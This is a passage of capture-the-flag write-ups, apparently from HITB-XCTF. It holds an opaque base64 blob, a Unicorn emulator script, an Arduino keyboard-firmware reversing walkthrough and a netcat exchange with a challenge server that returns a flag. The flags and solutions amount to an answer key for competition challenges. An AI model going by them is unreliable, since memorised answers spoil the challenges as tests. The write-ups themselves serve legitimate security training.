bkpHWm1aK1FtWm1lazVtWm5aS1ZtWnlSbFpXZUhKMmRrWkNabFp5dm1KV2ZsWnVkbU9HWm1aa01uWmVmbFpXZGxxNlVsWjZ4bHBHSnJwQ1ZuYkNRa1lTVms1Mk40NUdkbWRPUWtZYmpsWjJaOHBtVmlQZVpuWjdtbW14Z2xabWRuNVdablphVm01MmRsWldkbVBHYmxaUXhtWjJaTVorZG5hR2RuWjJOa0JnWmpiVE1mUFJFbEZpMElOR05ySUZBRU5DQUtWRElCS1RaalpReGpaVGRqWlNaalpRbGpaUzlqWlZSalptTmhGd1lPRlJSallCUVRGUTRKQUdOaUJBOEdGV05pQlI0VEFuUmxaMmRuWjJkbloyWm5aMmRuWjJkbloyZERaMmRuSUdkblp5Qm5aMmN2WjJkbkxtZG5aeTFuWjJjdFoyZG5MV2RuWnkxbloyY3RaMmRuTFdkblp5MW5aMmN0WjJkbkxHZG5aeXRuWjJjcloyZG5LMmRuWnl0bloyY3FaMmRuS21kblp5cG5aMmNxWjJkbkttZG5aeXBuWjJjcVoyZG5LbWRuWnlwbloyY3FaMmRuSzJkblp5dG5aMmNvWjJkbktHZG5aeWhuWjJjb1oyZG5LR2RuWnlobloyYzJaMmRuYldkbloyVUdaV2RuWjBObloyZGxCR1JuWjJkRFoyZG5aUU5qWjJkblEyZG5aMlFGQld0bloyZERaMmRuWlFWcVoyZG5RMmRuWjNkUEFRZ1ZSd0FDQ1FJVkJoTUlGVTUzWjJkbmVtZG5aMnRQQVFnVlJ4UVRCaE1DVG5kbloyZDZaMmRuYVU4QkNCVkhCQWdKRXhVSUMwNTNaMmRuZW1kbloyVTRkbWRuWjN4bloyZGxFWFpuWjJkOFoyZG5abWRuWjJJNElpa3haelJuWjJjSFoyZG5abWRoZjJkblp5Um5aMmZyNXlkbnBXZG5aL2puWjJadTUrZm42eWNuWjZ1bkoyZTQ1K2RuVGFkblprTm5aZWZyWnlabnF5Y21aNnpucG1aa3BtWm5KV1puWjdobjUyYjRKMmRuSkdkbFowUG5aK2ZyWnlabnBDZGxaL2duWjJZTVoyZG1UR2ZuWjIxbloyZDBaMmRuWjJkbloyZGpaVFpqWkJSVlkyVVhZMkVYRlE0SkUyTmdGQk1WRGdrQVkyQUJDQlVLQmhOamFpOHVNeVUvSkRNaEhFSVVHblJtWjJkbloyZG5aMk50RXhVZVJ3WUFCZzRKWm1kbloyZG5aMmRuWjM5bloyY3paMmRuTVdkblp6Rm5aMmN4WjJkbk1XZG5aejVuWjJjK1oyZG5QbWRuWno1bloyYytaMmRuUFdkblp6MW5aMmM5WjJkblBXZG5aejFuWjJjOVoyZG5QV2RuWnp4bloyYzhaMmRuT21kblp6cG5aMmM2WjJkbk9HZG5ad2RuWjJkbFoyZG5aVGRuWjJkbmYyZG5aMklPRlFJVFptZG5aMzluWjJkbVoyZG5ZamdpS1RGb1oyZG5abWRuWjNobloyZHFaMmRuVldkblowWm5aMmNqWjJkblUyZG5aelpuWjJjaFoyZG5CMmRuWnpSbloyY0VaMmRuQkdkblp3Um5aMmNFWjJkblptZG5aMjhNQWg0QkRnc0NabWRuWjJobloyZG1aMmRuWWpnaUtURT0=\\"\\r\\n               }\\r\\n           ]\\r\\n}",\r\n    "i":  "1",\r\n    "x":  "C8E8CBA2189AB38E5D62F5EB1C8E4FF1"\r\n}
flag_patt1: HITBXCTF{W0rk_1n_th3_dark_  moliboom_B64  fCsSBjRnfvRqbX1tY2Njb28fMWdnZ2dnZ2dnZ2dnTxAnZnYnSUk7CggLDgUICApJCxIGZ2dnZ2dnZ2dnZmVoZ2dnZGdnZwpnZ2duJ+fnCidnZ24nZ+YK52dnbifn5gqnZ2duJ2flCmdmZ24n5+Ur5ydnD2fnZwxnZ2dMZ+dnYWdnZ2NhIVcRVhFjYxYTFmNgFBMGAAJWY2QGBmNlF2NgFBMGAAJVZmdnZ2ZnYmdnZ2dqZ2dneGdnZ2dnbl9nZ2drJydnbOcnZysnJ2csp6dn5GdmZzjnZ2Y0J6ZneOdnZm5nZ+drJydnbOcnZysnJ2csp6dn5KdmZzjnZ2Y0Z6VneOdnZm5nZ+RrJydnbOcnZysnJ2csp6dn5OdlZzjnZ2Y/J+fieOdnZm5n5+NuJyThbqck4G4nI+9upyTubmei7m7nou1uZ6Hsbueh625noOprJyFnKyciZ3wnZ2duZ+fpa2cnZyvnJmfrJyVnq2ckZ2vmJGcrpiJn6+YjZ6umI2drZSNnfGdlZ25n5+RrpyZnKycgZ3wnZ2dMZ2dmTGfnZ3lnZ2djYzgkOGNgFBMVDgkAY2IEDwYVY2IFHhMCY2VEdC5nZ2dnZ2dnY2I4ODM4Y2UGdHRnZ2dnZ2dnY2A4ODg4IThjZWp0ZGdnZ2dnZ2djbTg4ODg4CDQIV2NlFGNsODg4ODg4DgguC2NlR2NuOB4VEBQDAwNjZVZjajg4ODg4ODg4OCo4OGNpODg4ODg4ODg4OAY4OGNlE2NuOF8ND1RTFVJjZVRjazg4ODg4ODgkJlcIY2USY2A4DhIeXl9jZQpjdTg4ODg4ODg4ODg4ODg4ADg4Y0IHMjgkBgk4Iwg4LhMHRwUeOCofCR44NAYeODMPDhQUFBRHXU5jZQVmZ2dnZ2dnZ2dnX2dnZ2lnZ2dpZ2dnaWdnZ2lnZ2dpZ2dnaWdnZ2lnZ2dpZ2dnaWdnZ2hnZ2doZ2dnaGdnZ2hnZ2doZ2dnaGdnZ2hnZ2doZ2dnaGdnZ3dnZ2d3Z2dnd2dnZ3dnZ2d3Z2dnd2dnZ3dnZ2d3Z2dnd2dnZ3ZnZ2d1Z2dndGdnZ3NnZ2dyZ2dncWdnZ3BnZ2d/Z2dnfmdnZ3xnZ2d8Z2dnfGdnZ3xnZ2d7Z2dne2dnZ3tnZ2d7Z2dne2dnZ3tnZ2d7Z2dne2dnZ3tnZ2d7Z2dne2dnZ3lnZ2d5Z2dneWdnZ3lnZ2d4Z2dnZ2dnZ2ZnZ2diOCIpMWdGZ2dnVWdnZ2dnYn5nZ2drZydnbCcnZy1n52fk52dneOfnZgpnZ2cNpydnQydk5+8nJmdk5mZn+OfnZm7nZ+XrZyZnpWfnZ7jn52e45+dnTadnZkOnZ+frpyZnq2cmZ89nZ2bMZ2dn5GdlZ8xnZ2ZMZ+dnbmdnZ2NkDghjYggXAgljZRVnY2IMAh5WY2IVAgYDY2JNBgsLY2QUVnRnZ2dnZ2dnZ2VnZ2dnZ2ZnZmdnZ2dCZ2dnTmdnZ2dnZWRnZ2dKZ2dnTGdnZkxn52dnZ2dnZmdnZ2dnZmdnZ2dBZ2dnT2dnZ2dnZWNnZ2drZydnT2fnZ0xnZ2dMZ+dnZmdnZ2NjFhMWZmdnZ2dnZ2dnZ2NnZ2dAZ2dnQGdnZ0BnZ2dPZ2dnZ2dnZ2ZnZ2diOCIpMWRnZ2dPZ2dnT2dnZ05nZ2dnZ2dnZmdnZ2I4IikxfmdnZ0RnZ2dEZ2dnRGdnZ0RnZ2dEZ2dnTmdnZ0xnZ2dMZ2dnS2dnZ0tnZ2dLZ2dnS2dnZ0pnZ2dKZ2dnSmdnZ0pnZ2dKZ2dnSmdnZ0lnZ2dJZ2dnSWdnZ0lnZ2dWZ2dnVmdnZ1VnZ2dlZ2dnYgEOCwJiZ2dnfmdnZ2EfBAgDAmFnZ2d+Z2dnZWdnZ2I4IikxbwwCHgEOCwJnU2dnZyNnZ2dnZ2x7Z2dnZmdnYiRnZ2fkJ2dnpOdnZ2SmZ2ckZmZn5CZmZ6TmZmdkpWZnJGVlZ+QlZWdHJ2diJOdlZ+unJWelZ2dn+GdmZkPnZ+elZudnZWVnZDxn5WT952dneeaZGMpnZ2elZ2dmZWbnZ49nZ2aMZ2dnTGfnZ2tnZ2djZQ9jZTNjZVJjZQxjZSBjZTRjZSZjZUxjZRZjZQpjZmNhFwYOFRRmZ2dnZ2dmZ2dnZ1xnZ2cmZ2dnZmdsd2dnZyRnZ2f6Z2dnpCdnZ2TmZ2fGp2bn5WbnZ6umJ2esZqZkZWVnZyVl52XlZedluOZnZTynZmTB55oYDGdnZkxn52diZ2dnY2Z0ZmdnZ2dnZ2d0mJiYmJiYmJhjYBQTFQ4JAGNjFBIFZmdnZ2dnZ2dnZ3dnZ2dbZ2dnWmdnZ1pnZ2daZ2dnWmdnZ1lnZ2dZZ2dnWWdnZ1lnZ2dZZ2dnWWdnZ1lnZ2dZZ2dnWmdnZydnZ2cmZ2dnYWdnZ2UUZ2dnZ3dnZ2dlFWZnZ2d3Z2dna08BCBVHDgkDAh9OY2dnZ2lnZ2drTwEIFUcLDgoOE05jZ2dnaWdnZ2xPAQgVRxQTAhdOY2dnZ2lnZ2dlDmJnZ2dqZ2dnZmdnZ2I4Iikxe2dnZ1JnZ2dSZ2dnUmdnZ1JnZ2dSZ2dnUmdnZ1JnZ2dSZ2dnUmdnZ1JnZ2dSZ2dnUmdnZ1FnZ2dQZ2dnUGdnZ1BnZ2dQZ2dnX2dnZ19nZ2dfZ2dnUGdnZ1BnZ2cmZ2dnJGdnZyRnZ2ckZ2dnJGdnZyNnZ2dvZ2dnZRdrZ2dne2dnZ2UVamdnZ3tnZ2d3TwEIFUcAAgkCFQYTCBVOd2dnZ3FnZ2drTwEIFUcUEwYTAk53Z2dncWdnZ2lPAQgVRwQICRMVCAtOd2dnZ3FnZ2dlDHZnZ2dzZ2dnZRF2Z2dnc2dnZ28VAhECFRQCcGdnZ3tnZ2dmZ2dnYjgiKTFnIWdnZzZnZ2dnZ2lDZ2dna2cnZ3jn52ckJ2dn5OdnZ6ZnZ2RkpmdnJGZmZ+QmZmek5mZnZKVmZyRlZWeHJ2dkZCZlZyvmJWflZudmOGZmZkMnZeflZWdlq6UlZ6xlpGJrpCVnbCQkYSVk52N45GdmdOQkYbjlZ2Z8pmViPeZnZ7mmmxglZmdn5WZnZaVm52dlZWdmPGblZQxmZ2ZMZ+dnaGdnZ2NkBgZjbTMfPRElFi0INGNrIFAENCAKVDIBKTZjZQxjZTdjZSZjZQljZS9jZVRjZmNhFwYOFRRjYBQTFQ4JAGNiBA8GFWNiBR4TAnRlZ2dnZ2dnZ2ZnZ2dnZ2dnZ2dDZ2dnIGdnZyBnZ2cvZ2dnLmdnZy1nZ2ctZ2dnLWdnZy1nZ2ctZ2dnLWdnZy1nZ2ctZ2dnLGdnZytnZ2crZ2dnK2dnZytnZ2cqZ2dnKmdnZypnZ2cqZ2dnKmdnZypnZ2cqZ2dnKmdnZypnZ2cqZ2dnK2dnZytnZ2coZ2dnKGdnZyhnZ2coZ2dnKGdnZyhnZ2c2Z2dnbWdnZ2UGZWdnZ0NnZ2dlBGRnZ2dDZ2dnZQNjZ2dnQ2dnZ2QFBWtnZ2dDZ2dnZQVqZ2dnQ2dnZ3dPAQgVRwACCQIVBhMIFU53Z2dnemdnZ2tPAQgVRxQTBhMCTndnZ2d6Z2dnaU8BCBVHBAgJExUIC053Z2dnemdnZ2U4dmdnZ3xnZ2dlEXZnZ2d8Z2dnZmdnZ2I4IikxZzRnZ2cHZ2dnZmdhf2dnZyRnZ2fr5ydnpWdnZ/jnZ2Zu5+fn6ycnZ6unJ2e45+dnTadnZkNnZefrZyZnqycmZ6znpmZkpmZnJWZnZ7hn52b4J2dnJGdlZ0PnZ+frZyZnpCdlZ/gnZ2YMZ2dmTGfnZ21nZ2d0Z2dnZ2dnZ2djZTZjZBRVY2UXY2EXFQ4JE2NgFBMVDgkAY2ABCBUKBhNjai8uMyU/JDMhHEIUGnRmZ2dnZ2dnZ2NtExUeRwYABg4JZmdnZ2dnZ2dnZ39nZ2czZ2dnMWdnZzFnZ2cxZ2dnMWdnZz5nZ2c+Z2dnPmdnZz5nZ2c+Z2dnPWdnZz1nZ2c9Z2dnPWdnZz1nZ2c9Z2dnPWdnZzxnZ2c8Z2dnOmdnZzpnZ2c6Z2dnOGdnZwdnZ2dlZ2dnZTdnZ2dnf2dnZ2IOFQITZmdnZ39nZ2dmZ2dnYjgiKTFoZ2dnZmdnZ3hnZ2dqZ2dnVWdnZ0ZnZ2cjZ2dnU2dnZzZnZ2chZ2dnB2dnZzRnZ2cEZ2dnBGdnZwRnZ2cEZ2dnZmdnZ28MAh4BDgsCZmdnZ2hnZ2dmZ2dnYjgiKTE=
from unicorn import *
from unicorn.x86_const import *
import sys

map_address = 0
map_size = 0x1000

binary = open('0400_to_0A00.bin', 'rb').read()

t = ''
for i in xrange(0, 0x100, 0x10):
    mu = Uc(UC_ARCH_X86, UC_MODE_16)
    mu.mem_map(map_address, map_size)

    mu.mem_write(0x400, binary)
    mu.mem_write(0x131, ''.join(map(chr, range(i, i+0x10))))
    mu.mem_write(0x141, '\x10\x00')

    mu.reg_write(UC_X86_REG_ESP, 0x100)
    mu.reg_write(UC_X86_REG_EBP, 0x100)

    mu.emu_start(0x494, 0x4cc)

    t += str(mu.mem_read(0x131, 0x10))

f = ''
for c in '\x25\xA1\x39\x89\xA6\x9D\xD5\xA5\x75\x8D\x4A\x92\xF1\x59\x5E\x91':
    f += chr(t.index(c))

hex (Reverse)

from Balsn

A arduino challenge, data is in intelhex format. I use helper hex2bin.py from intexHex python library to generate binary.

First try

Loaded in disassembler with MCU as AVR, you can easily find pattern below keep repeating started from 0x987 (in IDA, or 0x130e in radare2)

ldi r22, 0xXX
ldi r24, 0x77
ldi r25, 0x01
call 0xffa
ldi r22, 0xf4
ldi r23, 0x01
ldi r24, 0x00
ldi r25, 0x00
call 0xbda
ldi r22, 0xXX
ldi r24, 0x77
ldi r25, 0x01
call 0xf62
ldi r22, 0x88
ldi r23, 0x13
ldi r24, 0x00
ldi r25, 0x00
call 0xbda

I dumped all XX bytes in previous pattern but didn’t figure out how to decode it. So I decided to dig into these functions. It tooks me about half hour to manually decompile fcn.ffa to following (wrong) psuedo code:

r26 = 0x77
if r22 >= 136:
    r31 = 0
    r30 = r22 & 0x7f
    mem[0x77+4] |= (1 << r30)
    r22 = 0
else:
    r22 + 0x78

if r22 not in mem[0x77+6:0x77+0xc]: # six slots
    try:
        slot = mem[0x77+6:0x77+0xc].index(0)
    except:
        mem[0x77+3] = 0
        mem[0x77+2] = 1
        return
    mem[0x77+6+slot] = r22

fcn_e7e()

I gave up.

Second try

After the third hint Keyboard is out, I suddenly realized that MCU of Arduino Micro is ATmega32u4, a USB enabled device, rather than common arduino MCU ATmega328p. Everything makes sense now. The structure in 0x77 must be USB keyboard report which has 6 slot (a obvious sign if you are familar with NKRO or know the difference between PS2 and USB keyboard). Here’s source code from Arduino’s Keyboard library:

size_t Keyboard_::press(uint8_t k)
{
	uint8_t i;
	if (k >= 136) {			// it's a non-printing key (not a modifier)
		k = k - 136;
	} else if (k >= 128) {	// it's a modifier key
		_keyReport.modifiers |= (1<<(k-128));
		k = 0;
	} else {				// it's a printing key
		k = pgm_read_byte(_asciimap + k);
		if (!k) {
			setWriteError();
			return 0;
		}
		if (k & 0x80) {						// it's a capital letter or other character reached with shift
			_keyReport.modifiers |= 0x02;	// the left shift modifier
			k &= 0x7F;
		}
	}

	// Add k to the key report only if it's not already present
	// and if there is an empty slot.
	if (_keyReport.keys[0] != k && _keyReport.keys[1] != k &&
		_keyReport.keys[2] != k && _keyReport.keys[3] != k &&
		_keyReport.keys[4] != k && _keyReport.keys[5] != k) {

		for (i=0; i<6; i++) {
			if (_keyReport.keys[i] == 0x00) {
				_keyReport.keys[i] = k;
				break;
			}
		}
		if (i == 6) {
			setWriteError();
			return 0;
		}
	}
	sendReport(&_keyReport);
	return 1;
}

Ahh, fcn.ffa is Keyboard::_press!! It turns out that fcn.f62 is Keyboard::_release and fcn.bda, which use timer register TCNT0, is delay.

Take our previous dump of parameters, convert it to keystroke, and the flag shows up.

      $##&:|#|                          !##| ;&&&&&&$#   #$##@|.    `%##@;  :@#$`
     |#|   |#|                         ;#%.  !#!       .%#|  #&#!  |#|  #&@:  :#%.
   ;#####|.|#|  .|####$`   #&###|!@%.  ;#|   |#;              |#! :@$`   ;#%.`:@%.
     |#!   |#|   `.  :@$` ;#&#  .%#%.  !#|  .%##@&##@#      :&#!  ;#%.   :@$`  #&$`
     |#!   |#|  `%#####&#.%#!#####;#%`!#@;          ;#$`   ;##!    ;#$`   ;#%.` $#$`
     |#!   |#| .%#@%&@#&#  |####&&#%.  ;#|   !##@@##%` :@#######$. `$##@##!   @%.

P.S. I think if you find an Arduino Micro, burn the firmware, plug into PC, then you will get the flag in one hour. No reverse needed.

sbsun (Reverse)

$ curl http://47.75.157.209:9999
34846
$ printf '\xabVJL.\xc9\xcc\xcfS\xb2RrO-q\xcbILW\xaa\x05\x00H!\x06\xd3' | nc -u 47.75.157.209 34846 > flag_bin
s = open('flag_bin', 'rb').read()
print(zlib.decompress(s))

HITB{4e773ff1406800017933c9a1c9f14f35}

multicheck (Mobile)

l = [0x8D, 0x8F, 0x93, 0xE6, 0xDD, 0xDD, 0xDA, 0xF0, 0x74, 0xF2, 0x03, 0x6D, 0xC0, 0xD3, 0x07, 0x29, 0x9A, 0x97, 0xB7, 0x3D, 0xD6, 0x0B, 0xBC, 0x53, 0xF4, 0x89, 0x8E, 0x08, 0x21, 0x52, 0xE9, 0x42, 0x35, 0x0D, 0x0B, 0x0C, 0x7D, 0x0E, 0x0F, 0x10, 0x69, 0x44, 0x27, 0x06, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x81, 0x18, 0x1F, 0x20, 0x3D, 0x22, 0x23, 0x24, 0x55, 0x26, 0x27, 0x28, 0x22, 0x2A, 0x2B, 0x2C, 0xCD, 0x2E, 0x2F, 0x30, 0x3B, 0x32, 0x33, 0x34, 0x39, 0x37, 0x37, 0x38, 0x3B, 0x3A, 0x3B, 0x3C, 0xB9, 0x3F, 0x3F, 0x40, 0x4D, 0x42, 0x43, 0x44, 0xD1, 0x47, 0x47, 0x48, 0x48, 0x4A, 0x4B, 0x4C, 0xB9, 0x4F, 0x4F, 0x50, 0x79, 0x57, 0x53, 0x54, 0x41, 0x54, 0x57, 0x58, 0x75, 0x5F, 0x5B, 0x5C, 0x6B, 0x5B, 0x5F, 0x60, 0x5F, 0x67, 0x63, 0x64, 0x24, 0x63, 0x67, 0x68, 0x24, 0x6F, 0x6B, 0x6C, 0x3D, 0x6B, 0x6F, 0x70, 0x25, 0x77, 0x73, 0x74, 0x22, 0x73, 0x77, 0x78, 0x22, 0x7F, 0x7B, 0x7C, 0x1D, 0x7B, 0x7F, 0x80, 0xE6, 0x87, 0x83, 0x84, 0xF3, 0x83, 0x87, 0x88, 0x03, 0x8F, 0x8B, 0x8C, 0x13, 0x8B, 0x8F, 0x90, 0x23, 0x97, 0x93, 0x94, 0x53, 0x93, 0x97, 0x98, 0x50, 0x9F, 0x9B, 0x9C, 0x4C, 0x9B, 0x9F, 0xA0, 0x75, 0xA7, 0xA3, 0xA4, 0x7D, 0xA3, 0xA7, 0xA8, 0x74, 0xAF, 0xAB, 0xAC, 0x4C, 0xAB, 0xAF, 0xB0, 0x54, 0xB7, 0xB3, 0xB4, 0x5D, 0xB3, 0xB7, 0xB8, 0x4A, 0xBF, 0xBB, 0xBC, 0x4B, 0xBB, 0xBF, 0xC0, 0x3C, 0xC7, 0xC3, 0xC4, 0xC0, 0xC0, 0xC7, 0xC8, 0xCB, 0xCA, 0xCB, 0xCC, 0xC9, 0xCE, 0xCF, 0xD0, 0xDB, 0xD2, 0xD3, 0xD4, 0xDE, 0xD6, 0xD7, 0xD8, 0xD5, 0xDA, 0xDB, 0xDC, 0xD0, 0xDE, 0xDF, 0xE0, 0xEF, 0xE2, 0xE3, 0xE4, 0xEA, 0xE6, 0xE7, 0xE8, 0xF8, 0xEA, 0xEB, 0xEC, 0xF9, 0xEE, 0xEF, 0xF0, 0xE4, 0xF2, 0xF3, 0xF4, 0xF0, 0xF6, 0xF7, 0xF8, 0xF8, 0xFA, 0xFB, 0xFC, 0x1D, 0xFA, 0xFF, 0x00, 0x0E, 0x02, 0x03, 0x04, 0x02, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x1D, 0x0E, 0x0F, 0x10, 0x16, 0x12, 0x13, 0x14, 0xFD, 0x12, 0x17, 0x18, 0x0B, 0x1A, 0x1B, 0x1C, 0x15, 0x1E, 0x1F, 0x20, 0xD9, 0x26, 0x23, 0x24, 0x36, 0x26, 0x27, 0x28, 0x21, 0x2A, 0x2B, 0x2C, 0x2D, 0x2B, 0x2F, 0x30, 0x37, 0x32, 0x33, 0x34, 0x3C, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3A, 0x3E, 0x3F, 0x40, 0x48, 0x42, 0x43, 0x44, 0x4D, 0x43, 0x47, 0x48, 0x40, 0x4A, 0x4B, 0x4C, 0x44, 0x4E, 0x4F, 0x50, 0x41, 0x57, 0x53, 0x54, 0x5D, 0x56, 0x57, 0x58, 0x50, 0x5A, 0x5B, 0x5C, 0x41, 0x5B, 0x5F, 0x60, 0x69, 0x62, 0x63, 0x64, 0x6F, 0x66, 0x67, 0x68, 0x4D, 0x6F, 0x6B, 0x6C, 0x6F, 0x6E, 0x65, 0x70, 0x67, 0x72, 0x73, 0x74, 0x77, 0x76, 0x7E, 0x78, 0x61, 0x7A, 0x7B, 0x7C, 0x7F, 0x7E, 0x7E, 0x80, 0x81, 0x82, 0x83, 0x84, 0x87, 0x86, 0x86, 0x88, 0x88, 0x8A, 0x8B, 0x8C, 0x8F, 0x8E, 0x8F, 0x90, 0x87, 0x92, 0x93, 0x94, 0x97, 0x96, 0x91, 0x98, 0x8F, 0x9A, 0x9B, 0x9C, 0x9F, 0x9E, 0x98, 0xA0, 0xB7, 0xA2, 0xA3, 0xA4, 0xA7, 0xA6, 0xAF, 0xA8, 0xBF, 0xAA, 0xAB, 0xAC, 0xAF, 0xAE, 0xA6, 0xB0, 0xA7, 0xB2, 0xB3, 0xB4, 0xB7, 0xB6, 0xB4, 0xB8, 0xA0, 0xBA, 0xBB, 0xBC, 0xBE, 0xBE, 0xBE, 0xC0, 0xC0, 0xC2, 0xC3, 0xC4, 0xC1, 0xC6, 0xC2, 0xC8, 0xD2, 0xCA, 0xCB, 0xCC, 0xC8, 0xCE, 0xCD, 0xD0, 0xC6, 0xD2, 0xD3, 0xD4, 0xD3, 0xD6, 0xD3, 0xD8, 0xC3, 0xDA, 0xDB, 0xDC, 0xDF, 0xDE, 0xDF, 0xE0, 0xE0, 0xE2, 0xE3, 0xE4, 0xE6, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xEE, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0x85, 0xF0, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFC, 0xFE, 0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x0A, 0x00, 0x07, 0x08, 0x3B, 0x0A, 0x0B, 0x0C, 0x1F, 0x4E, 0x2C, 0x10, 0x1B, 0x12, 0x35, 0x14, 0x1A, 0x16, 0x17, 0x18, 0x70, 0x1A, 0x1B, 0x1C, 0x0E, 0x1E, 0x3F, 0x20, 0x02, 0x22, 0x2A, 0x24, 0x03, 0x26, 0x35, 0x28, 0x29, 0x2A, 0x42, 0x2C, 0x2C, 0x2E, 0x21, 0x30, 0x31, 0x31, 0x37, 0x34, 0x31, 0x36, 0x37, 0x38, 0x92, 0x91, 0x90, 0x97, 0xF0, 0xF3, 0xF2, 0x8D, 0xAE, 0xAD, 0xAC, 0xAB, 0x3D, 0x10, 0x73, 0x5A, 0x49, 0x49, 0x4A, 0x4C, 0x6D, 0x4E, 0x4F, 0x50, 0x32, 0x2E, 0x36, 0xBD, 0xDB, 0x07, 0x86, 0x81, 0xC3, 0x15, 0x4D, 0x68, 0x84, 0xFC, 0xE1, 0xD8, 0x04, 0x8C, 0x2A, 0x81, 0x50, 0x9D, 0x49, 0x84, 0x08, 0x61, 0xA3, 0x48, 0x80, 0xA1, 0xFF, 0xC5, 0x70, 0x72, 0x72, 0x74, 0x74, 0x76, 0x77, 0x78, 0x64, 0x7C, 0x7B, 0x7C, 0x79, 0x7E, 0x7F, 0x80, 0xF1, 0x92, 0x8B, 0x84, 0x85, 0x86, 0x89, 0x88, 0x88, 0x8A, 0x8A, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0xB3, 0x94, 0x93, 0x94, 0x90, 0x96, 0x97, 0x98, 0xA2, 0x9A, 0x9F, 0x9C, 0x4D, 0x9E, 0x9F, 0xA1, 0xAE, 0xA2, 0xA3, 0xA4, 0xA2, 0xA6, 0xA6, 0xA8, 0xAC, 0xAA, 0xAB, 0xAC, 0x86, 0xA8, 0xAF, 0xB0, 0x98, 0xB2, 0xB3, 0xB4, 0xA7, 0xB7, 0x96, 0xD8, 0x65, 0xBA, 0xBB, 0xB4, 0x64, 0xBE, 0xBF, 0xC8, 0xE0, 0xA0, 0x73, 0xC6, 0xE6, 0xE4, 0xCE, 0xC8, 0x44, 0xC9, 0x84, 0xCF, 0xCF, 0xCF, 0xEE, 0xB3, 0xA0, 0x81, 0xD9, 0xD4, 0xC3, 0xD4, 0xF6, 0xF8, 0xFA, 0xD9, 0xD2, 0xDC, 0xDC, 0xCE, 0xFE, 0xD4, 0xD4, 0xA2, 0xF1, 0xE4, 0x87, 0xE2, 0xE7, 0xE8, 0xFA, 0xEF, 0xCB, 0xEC, 0x9C, 0xAE, 0xEB, 0xF0, 0xF3, 0xA6, 0xFF, 0xF0, 0xE6, 0xF3, 0xFF, 0xF8, 0x88, 0xAF, 0xF1, 0xFC, 0xE9, 0xFD, 0x27, 0x00, 0x01, 0x0A, 0x2B, 0xEA, 0x14, 0x05, 0x07, 0x08, 0x19, 0x0A, 0x0F, 0x0C, 0x0F, 0x0E, 0x0F, 0x10, 0x2B, 0x14, 0x13, 0x14, 0x56, 0x16, 0x17, 0x18, 0x68, 0x3A, 0x1D, 0x1C, 0xC1, 0x1E, 0x13, 0x24, 0x33, 0x22, 0x67, 0x27, 0x21, 0x26, 0x35, 0x38, 0x6D, 0x28, 0x2F, 0x2C, 0x3F, 0x2F, 0x3B, 0x35, 0x88, 0x4B, 0x04, 0xAA, 0x27, 0x36, 0x73, 0x3E, 0x37, 0x3A, 0x29, 0x2C, 0x79, 0x39, 0x31, 0x40, 0x53, 0x62, 0x07, 0x4C, 0x4B, 0x46, 0x55, 0x78, 0x0D, 0x43, 0x45, 0x4C, 0x5F, 0x4E, 0x7A, 0xA0, 0x4D, 0x52, 0xE3, 0x05, 0xB5, 0x5C, 0x55, 0x5C, 0xE9, 0x30, 0xCB, 0x57, 0x5F, 0x5F, 0xE8, 0xDA, 0x80, 0x69, 0x61, 0x61, 0xD5, 0x1D, 0xD0, 0xD2, 0xD9, 0xC9, 0x8B, 0x66, 0x6E, 0x6A, 0xDF, 0xFA, 0xE1, 0x79, 0x70, 0x75, 0xC2, 0xCC, 0x96, 0x73, 0x7A, 0x7F, 0xCB, 0xE7, 0xCA, 0xC4, 0xCF, 0x22, 0x59, 0x82, 0x83, 0x85, 0xAD, 0x63, 0x95, 0x88, 0xC2, 0x89, 0x8F, 0x8C, 0x9F, 0x9E, 0xC4, 0x92, 0x95, 0x92, 0x81, 0x94, 0xE4, 0xB6, 0x92, 0x98, 0x9D, 0x9A, 0x97, 0x9C, 0x8C, 0x9E, 0x9F, 0xA0, 0xA7, 0xA2, 0xA1, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xE7, 0xAC, 0xAB, 0xAC, 0x9A, 0xAE, 0xAF, 0xB0, 0x90, 0xF2, 0x53, 0xB4, 0xB5, 0xB4, 0x94, 0xB9, 0xB0, 0xBA, 0xA9, 0xBC, 0x9C, 0xAC, 0x8A, 0xE5, 0xEE, 0xC2, 0x1B, 0xC6, 0xC0, 0xC5, 0x83, 0xCB, 0xCD, 0xCA, 0x1E, 0xFF, 0x32, 0xCE, 0x42, 0xE3, 0x9E, 0xD1, 0xD2, 0xD6, 0x0D, 0xD4, 0xD2, 0xDA, 0x9D, 0xD9, 0xDF, 0xDC, 0x3C, 0xDD, 0xDC, 0xE8, 0x34, 0xD1, 0x1C, 0xE4, 0x68, 0xD5, 0xA8, 0xEB, 0xE8, 0xE8, 0x33, 0xEE, 0xE8, 0xEF, 0xAB, 0xF3, 0xF5, 0xF2, 0x12, 0xF7, 0xF6, 0xE6, 0x22, 0xCB, 0x06, 0xFA, 0x76, 0xCF, 0xB2, 0xFD, 0xFE, 0x02, 0x45, 0x00, 0x07, 0x04, 0xE4, 0x04, 0x05, 0x10, 0xDC, 0x28, 0xF4, 0x0C, 0x80, 0x2C, 0x40, 0x12, 0x10, 0x17, 0xCB, 0x14, 0x15, 0x17, 0xCF, 0x1D, 0x1C, 0x1E, 0x33, 0xCD, 0x0C, 0x1F, 0x1F, 0x20, 0x27, 0x22, 0x21, 0x24, 0x24, 0x26, 0x27, 0x28, 0x75, 0x2C, 0x2B, 0x2C, 0x19, 0x2E, 0x2F, 0x30, 0x10, 0x72, 0xD2, 0x34, 0x35, 0x34, 0x14, 0x39, 0x33, 0x3A, 0x29, 0x3C, 0x1C, 0x7C, 0x0A, 0x65, 0x6D, 0x42, 0x9B, 0x46, 0x40, 0x45, 0x0F, 0x4A, 0x4D, 0x48, 0x3A, 0x5C, 0x4F, 0x4E, 0x4D, 0x50, 0x5B, 0x50, 0x8B, 0x57, 0x50, 0x54, 0x1F, 0x5B, 0x5D, 0x59, 0x2A, 0x4C, 0x5F, 0x5E, 0x5C, 0x60, 0x6B, 0x61, 0x83, 0x67, 0x66, 0x6E, 0xD1, 0x5A, 0xB1, 0x69, 0x6E, 0x6D, 0x25, 0x6D, 0x6B, 0x73, 0x00, 0x62, 0x71, 0x74, 